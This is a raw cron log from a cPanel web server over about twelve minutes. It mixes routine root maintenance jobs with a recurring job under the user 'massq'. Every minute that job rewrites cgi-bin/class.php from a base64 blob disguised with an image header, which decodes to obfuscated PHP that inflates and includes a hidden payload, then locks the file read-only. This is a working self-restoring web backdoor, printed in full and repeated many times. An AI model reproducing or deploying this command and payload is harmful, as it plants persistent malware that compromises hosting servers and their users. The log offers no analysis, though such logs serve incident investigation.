Aug 31 11:14:01 server CROND[10964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:14:01 server CROND[10965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:15:01 server CROND[11390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:15:01 server CROND[11392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:15:01 server CROND[11393]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:15:01 server CROND[11395]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 11:15:01 server CROND[11399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:15:01 server CROND[11396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:15:01 server CROND[11394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:15:01 server CROND[11397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:16:01 server CROND[12248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:16:01 server CROND[12249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:16:01 server CROND[12250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:17:01 server CROND[12763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:17:01 server CROND[12764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:17:01 server CROND[12765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:18:01 server CROND[13154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:18:01 server CROND[13156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:18:01 server CROND[13155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:19:01 server CROND[13555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:19:01 server CROND[13557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:19:01 server CROND[13558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:20:01 server CROND[13959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:20:01 server CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:20:01 server CROND[13975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:20:01 server CROND[13979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:20:01 server CROND[13976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:20:01 server CROND[13982]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:20:01 server CROND[13977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:20:01 server CROND[13978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:20:01 server CROND[13983]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:21:01 server CROND[14802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:21:01 server CROND[14803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:21:01 server CROND[14804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:22:01 server CROND[15281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:22:01 server CROND[15282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:22:01 server CROND[15283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:23:01 server CROND[15667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:23:01 server CROND[15668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:23:01 server CROND[15669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:24:01 server CROND[16036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:24:01 server CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:24:01 server CROND[16038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:25:01 server CROND[16418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:25:01 server CROND[16420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:25:01 server CROND[16421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:25:01 server CROND[16424]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:25:01 server CROND[16422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:25:01 server CROND[16423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:25:01 server CROND[16425]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:26:01 server CROND[17254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
